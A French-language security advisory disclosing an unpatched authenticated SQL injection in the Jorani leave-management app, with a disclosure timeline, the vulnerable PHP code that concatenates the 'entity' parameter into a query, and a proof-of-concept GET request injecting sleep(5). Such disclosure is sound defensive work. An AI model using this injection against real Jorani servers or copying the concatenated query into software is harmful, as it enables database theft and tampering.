Injection SQL authentifiée dans Jorani
- Produit
- Jorani
- Sévérité
- High
- Versions affectées
- ≤ v1.0.4
- Version corrigée
- Unpatched
Avertissement
Aucun correctif, patch ou mesure d'atténuation officielle n'est disponible pour cette vulnérabilité au moment de la publication.
Le mainteneur du projet a confirmé la vulnérabilité, mais a indiqué qu'aucune remédiation n'était prévue, le projet étant destiné à être archivé.
Les organisations qui s'appuient sur ce logiciel doivent considérer la vulnérabilité comme permanente et évaluer des solutions alternatives ou des mesures d'isolation.
Introduction
Jorani est un système web open source de gestion des congés et de suivi des heures supplémentaires, conçu pour aider les organisations à gérer les absences des employés, les validations et les processus RH de manière simple et légère.
Description
Nous avons identifié une vulnérabilité à haut risque dans le projet Jorani, affectant la dernière branche de développement (v1.0.4) ainsi que la branche master. Une injection SQL authentifiée pourrait permettre à un employé d'extraire, de modifier ou de supprimer le contenu de la base de données.
Chronologie
| Date | Description |
|---|---|
| 11/08/2025 | Signalement initial de la vulnérabilité au mainteneur du projet |
| 11/08/2025 | Vulnérabilité reconnue par le mainteneur |
| 12/08/2025 | Détails techniques et analyse d'impact transmis au mainteneur |
| 22/09/2025 | E-mail de relance envoyé au mainteneur |
| 20/01/2026 | E-mail de relance envoyé au mainteneur |
| - | Aucune réponse reçue depuis |
Détails techniques
La fonction getAllChildrenItem est vulnérable à une injection SQL. Cette fonction utilise le paramètre $id et le concatène directement dans la requête SQL.
public function getAllChildren($id) {
$query = 'SELECT GetFamilyTree(id) as id' .
' FROM organization' .
' WHERE id =' . $id;
$query = $this->db->query($query);
if(!$query) {
$arr = [];
} else {
$arr = $query->result_array();
}
return $arr;
}
La fonction vulnérable est appelée depuis différents endroits. Par exemple, la route /contracts/calendar/alldayoffs appelle la fonction allDayOffs depuis Contacts.php.
public function allDayoffs() {
header("Content-Type: application/json");
$start = $this->input->get('start', TRUE);
$end = $this->input->get('end', TRUE);
$entity = $this->input->get('entity', TRUE);
$children = filter_var($this->input->get('children', TRUE), FILTER_VALIDATE_BOOLEAN);
$this->load->model('dayoffs_model');
echo $this->dayoffs_model->allDayoffs($start, $end, $entity, $children);
}
Le paramètre entity est transmis via un paramètre HTTP GET, puis injecté dans l'appel à la fonction allDayoffs() depuis le modèle dayoffs. Ce même paramètre est ensuite injecté dans la fonction vulnérable getAllChidren.
public function allDayoffs($start, $end, $entity_id, $children) {
$this->lang->load('calendar', $this->session->userdata('language'));
// ...
if ($children === TRUE) {
$this->load->model('organization_model');
$list = $this->organization_model->getAllChildren($entity_id);
$ids = array();
// ...
}
L'envoi de la requête HTTP ci-dessous exécute l'instruction SQL sleep et renvoie la réponse après un délai de 5 secondes.
GET /contracts/calendar/alldayoffs?entity=sleep(5);&children=true&csrf_test_jorani=c68f62226591858d8fd5003649f4661d&start=2025-07-27&end=2025-09-07&_=1754772955640 HTTP/1.1
Host: jorani.local:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Cookie: [REDACTED]
Ressources
Continuer la lecture
Parlez-nous de votre projet.
Discutons ensemble de vos besoins et attentes pour vous proposer un service sur mesure.

